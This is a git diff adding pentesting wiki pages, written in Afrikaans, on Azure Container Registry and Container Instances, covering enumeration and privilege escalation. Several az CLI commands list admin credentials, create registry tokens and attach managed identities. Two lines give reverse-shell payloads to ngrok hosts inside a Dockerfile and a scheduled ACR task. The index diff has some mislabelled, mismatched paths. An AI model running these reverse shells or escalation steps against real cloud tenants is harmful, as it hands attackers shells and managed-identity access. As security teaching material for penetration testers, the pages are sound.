diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 000000000..f1d4a3615 Binary files /dev/null and b/src/images/registry_roles.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md new file mode 100644 index 000000000..faca14c97 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md @@ -0,0 +1,64 @@ +# Az - Azure Container Instances Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances + +Vir meer inligting, kyk: + +{{#ref}} +../az-services/az-container-instances.md +{{#endref}} + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Hierdie toestemmings laat die gebruiker toe om **'n opdrag uit te voer** in 'n lopende houer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is. + +Om 'n `ls` uit te voer en die uitvoer te verkry, is so eenvoudig soos: +```bash +az container exec --name --resource-group --exec-command 'ls' +``` +Dit is ook moontlik om **die uitvoer** van die houer te lees met: +```bash +az container attach --name --resource-group +``` +Of kry die logs met: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Hierdie toestemmings laat toe om **'n gebruikersbestuurde identiteit** aan 'n container-groep te koppel. Dit is baie nuttig om voorregte in die container te verhoog. + +Om 'n gebruikersbestuurde identiteit aan 'n container-groep te koppel: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Hierdie toestemmings laat toe om 'n **houergroep te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Boonop, dit is ook moontlik om 'n bestaande houergroep op te dateer deur byvoorbeeld die **`--command-line` argument** met 'n omgekeerde shell by te voeg. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..800e94ada --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Vir meer inligting, kyk: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Hierdie toestemming laat die gebruiker toe om die admin geloofsbriewe van die ACR te lys. Dit is nuttig om **volledige toegang** tot die registrasie te verkry. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +As die admin geloofsbriewe nie geaktiveer is nie, sal jy ook die toestemming `Microsoft.ContainerRegistry/registries/write` nodig hê om hulle te aktiveer met: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Hierdie toestemmings laat die gebruiker toe om **'n nuwe token te skep** met wagwoorde om toegang tot die registrasie te verkry. + +Om die `az cli` te gebruik om dit te genereer soos in die volgende voorbeeld, sal jy ook die toestemmings `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` benodig. +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Hierdie toestemmings laat die gebruiker toe om **'n beeld te bou en uit te voer** in die registrasie. Dit kan gebruik word om **kode** in die houer uit te voer. + +>[!WARNING] +> egter, die beeld sal in 'n **sandboxed omgewing** uitgevoer word en **sonder toegang tot die metadata diens**. Dit beteken dat die houer nie toegang tot die **instansie metadata** sal hê nie, so dit is nie regtig nuttig om voorregte te verhoog nie. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Dit is die hooftoestemming wat toelaat om 'n taak in die registrasie te skep en op te dateer. Dit kan gebruik word om **kode binne 'n houer met 'n bestuurde identiteit daaraan geheg** in die houer uit te voer. + +Hierdie is die voorbeeld van hoe om 'n reverse shell in 'n houer met die **stelsel bestuurde** identiteit daaraan geheg uit te voer: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +'n Ander manier om 'n RCE uit 'n taak te verkry sonder om 'n eksterne repository te gebruik, is om die `az acr task create` opdrag met die `--cmd` vlag te gebruik. Dit sal jou toelaat om 'n opdrag in die houer uit te voer. Byvoorbeeld, jy kan 'n omgekeerde skulp met die volgende opdrag uitvoer: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Let daarop dat jy nie enige spesiale toestemming nodig het om die stelsels bestuurde identiteit toe te ken nie, alhoewel dit voorheen in die registrasie geaktiveer moes wees en 'n paar toestemmings toegeken moes wees om nuttig te wees. + +Om 'n **gebruikers bestuurde identiteit ook** toe te ken, sal jy die toestemming `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` nodig hê om te doen: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Om die **opdatering** van die repo van 'n bestaande taak te doen, kan jy: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +Met hierdie toestemming is dit moontlik om **'n beeld na die azure registrasie te importeer**, selfs sonder om die beeld plaaslik te hê. Let egter daarop dat jy **nie 'n beeld met 'n etiket kan invoer** wat reeds in die registrasie bestaan nie. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Om 'n spesifieke beeldtag te **ontmerk of te verwyder** van die registrasie, kan jy die volgende opdrag gebruik. Let egter daarop dat jy 'n gebruiker of token met **voldoende regte** nodig sal hê om dit te doen: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..2f8b8ff0c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basiese Inligting + +Azure Container Instances (ACI) bied 'n **serverless, on-demand manier** om **containers** in die Azure wolk te draai. Jy kan **ontplooi** enkel of meerdere containers in 'n groep met **schaalbare rekenaar**, **netwerk opsies**, en die buigsaamheid om te verbind met **ander Azure dienste** (soos Stoor, Virtuele Netwerke, of Container Registries). + +Aangesien dit **ephemeral** werklading is, hoef jy nie die onderliggende VM-infrastruktuur te bestuur nie — Azure hanteer dit vir jou. egter, vanuit 'n **offensiewe sekuriteits perspektief**, is dit noodsaaklik om te verstaan hoe **toestemmings**, **identiteite**, **netwerk konfigurasies**, en **logs** aanvalsoppervlakke en potensiële misconfigurasies kan onthul. + +### Konfigurasies + +- Om 'n container te skep, is dit moontlik om 'n publieke beeld, 'n container beeld van 'n Azure Container Registry of 'n eksterne repository te gebruik, wat dalk **vereis om 'n wagwoord te konfigureer** om toegang te verkry. +- Wat netwerk betref, kan dit ook 'n **publieke IP** hê of **privaat eindpunte** wees. +- Dit is ook moontlik om algemene docker instellings te konfigureer soos: +- **Omgewing veranderlikes** +- **Volumes** (selfs van Azure Files) +- **Poorte** +- **CPU en geheue beperkings** +- **Herstart beleid** +- **Dra as bevoorreg** +- **Opdraglyn om te draai** +- ... + +## Enumerasie + +> [!WARNING] +> Wanneer jy ACI evalueer, kan jy sensitiewe konfigurasies onthul soos **omgewing veranderlikes**, **netwerk besonderhede**, of **bestuurde identiteite**. Wees versigtig met die log of vertoon daarvan. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..40d89d0c4 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basiese Inligting + +Azure Container Registry (ACR) is 'n veilige, private registrasie wat jou toelaat om **hou, bestuur en toegang te verkry tot houerbeelde in die Azure wolk**. Dit integreer naatloos met verskeie Azure dienste, wat geoutomatiseerde bou- en ontplooiing werkvloei op skaal bied. Met funksies soos geo-replika en kwesbaarheidsskandering, help ACR om ondernemingsgraad sekuriteit en nakoming vir gecontaineriseerde toepassings te verseker. + +### Toestemmings + +Dit is die **verskillende toestemmings** [volgens die dokumentasie](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) wat oor 'n Container Registry gegee kan word: + +- Toegang tot Hulpbronbestuurder +- Skep/verwyder registrasie +- Stoot beeld +- Trek beeld +- Verwyder beelddata +- Verander beleide +- Teken beelde + +Daar is ook 'n paar **ingeboude rolle** wat toegeken kan word, en dit is ook moontlik om **pasgemaakte rolle** te skep. + +![]() + +### Verifikasie + +> [!WARNING] +> Dit is baie belangrik dat selfs al bevat die registrasienaam 'n paar hoofletters, jy altyd **kleinletters** moet gebruik om in te log, beelde te stoot en te trek. + +Daar is 4 maniere om aan 'n ACR te verifieer: + +- **Met Entra ID**: Dit is die **standaard** manier om aan 'n ACR te verifieer. Dit gebruik die **`az acr login`** opdrag om aan die ACR te verifieer. Hierdie opdrag sal **die geloofsbriewe** in die **`~/.docker/config.json`** lêer stoor. Boonop, as jy hierdie opdrag vanaf 'n omgewing sonder toegang tot 'n docker socket soos in 'n **cloud shell** uitvoer, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te verkry om aan die ACR te verifieer. Dan, om te verifieer moet jy as gebruikersnaam `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Met 'n admin rekening**: Die admin gebruiker is standaard gedeaktiveer, maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registrasie te verkry met die **gebruikersnaam** en **wagwoord** van die admin rekening met volle toestemmings tot die registrasie. Dit word steeds ondersteun omdat sommige Azure dienste dit gebruik. Let daarop dat **2 wagwoorde** vir hierdie gebruiker geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n --admin-enabled true`. Let daarop dat die gebruikersnaam gewoonlik die registrasienaam is (en nie `admin`). +- **Met 'n token**: Dit is moontlik om 'n **token** met 'n **spesifieke `scope map`** (toestemmings) te skep om toegang tot die registrasie te verkry. Dan, is dit moontlik om hierdie tokennaam as gebruikersnaam en sommige van die gegenereerde wagwoord te gebruik om aan die registrasie te verifieer met `docker login -u -p aregistry-url>` +- **Met 'n Dienshoof**: Dit is moontlik om 'n **dienshoof** te skep en 'n rol soos **`AcrPull`** toe te ken om beelde te trek. Dan sal dit moontlik wees om **in te log op die registrasie** met die SP appId as gebruikersnaam en 'n gegenereerde geheim as wagwoord. + +Voorbeeldskrip van die [dokumentasie](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) om 'n SP te genereer met toegang oor 'n registrasie: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Enkripsie + +Slegs die **Premium SKU** ondersteun **enkripsie in rus** vir die beelde en ander artefakte. + +### Netwerk + +Slegs die **Premium SKU** ondersteun **private eindpunte**. Die ander ondersteun slegs **publieke toegang**. 'n Publieke eindpunt het die formaat `.azurecr.io` en 'n private eindpunt het die formaat `.privatelink.azurecr.io`. Om hierdie rede moet die naam van die registrasie uniek wees oor alle Azure. + +### Microsoft Defender vir Cloud + +Dit stel jou in staat om die **beelde** in die registrasie vir **kwesbaarhede** te **skandeer**. + +### Sagte-verwydering + +Die **sagte-verwydering** kenmerk stel jou in staat om 'n **verwyderde registrasie** binne die aangeduide aantal dae te **herstel**. Hierdie kenmerk is **standaard gedeaktiveer**. + +### Webhooks + +Dit is moontlik om **webhooks** binne registrasies te **skep**. In hierdie webhook is dit nodig om die URL te spesifiseer waar 'n **versoek gestuur sal word wanneer 'n push of verwyder aksie uitgevoer word**. Boonop kan Webhooks 'n omvang aandui om die repositories (beelde) aan te dui wat geraak sal word. Byvoorbeeld, 'foo:*' beteken gebeurtenisse onder die repository 'foo'. + +Van 'n aanvaller se perspektief is dit interessant om dit te kontroleer **voor enige aksie** in die registrasie uitgevoer word, en dit tydelik te verwyder indien nodig, om te voorkom dat jy opgespoor word. + +### Gekonnekteerde registrasies + +Dit stel basies in staat om die **beelde** van een registrasie na 'n ander te **spieël**, gewoonlik geleë op-premises. + +Dit het 2 modi: **LeesSlegs** en **LeesSkryf**. In die eerste een, word die beelde slegs **getrek** van die bronregistrasie, en in die tweede een, kan beelde ook **gestoot** word na die bronregistrasie. + +Ten einde kliënte toe te laat om toegang tot die registrasie vanaf Azure te verkry, word 'n **token** gegenereer wanneer die gekonnekteerde registrasie gebruik word. + +### Lopies & Take + +Lopies & Take stel jou in staat om aksies wat verband hou met Azure houers uit te voer wat jy tipies lokaal of in 'n CI/CD-pyplyn nodig gehad het om te doen. Byvoorbeeld, jy kan **bou, stoot, en loop beelde in die registrasie**. + +Die maklikste manier om 'n houer te bou en te loop is om 'n gewone Loop te gebruik: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +However, dit sal lopies aktiveer wat nie baie interessant is vanuit 'n aanvaller se perspektief nie, want hulle het geen bestuurde identiteit aan hulle geheg nie. + +However, **tasks** kan 'n **system and user managed identity** aan hulle hê. Hierdie take is diegene wat nuttig is om **privileges te eskaleer** in die houer. In die afdeling oor privileges eskalasie is dit moontlik om te sien hoe om take te gebruik om privileges te eskaleer. + +### Cache + +Die cache-funksie laat toe om **images van 'n eksterne repository af te laai** en die nuwe weergawes in die registrasie te stoor. Dit vereis dat daar 'n paar **credentials geconfigureer** moet word deur die credentials uit 'n Azure Vault te kies. + +Dit is baie interessant vanuit 'n aanvaller se perspektief omdat dit toelaat om te **pivot na 'n eksterne platform** as die aanvaller genoeg regte het om toegang tot die credentials te verkry, **images van 'n eksterne repository af te laai** en 'n cache te configureer kan ook as 'n **persistence mechanism** gebruik word. + +## Enumeration + +> [!WARNING] +> Dit is baie belangrik dat selfs al bevat die registrasie naam 'n paar hoofletters, jy moet slegs kleinletters in die url gebruik om toegang daartoe te verkry. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Privilege Escalation & Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Verwysings + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}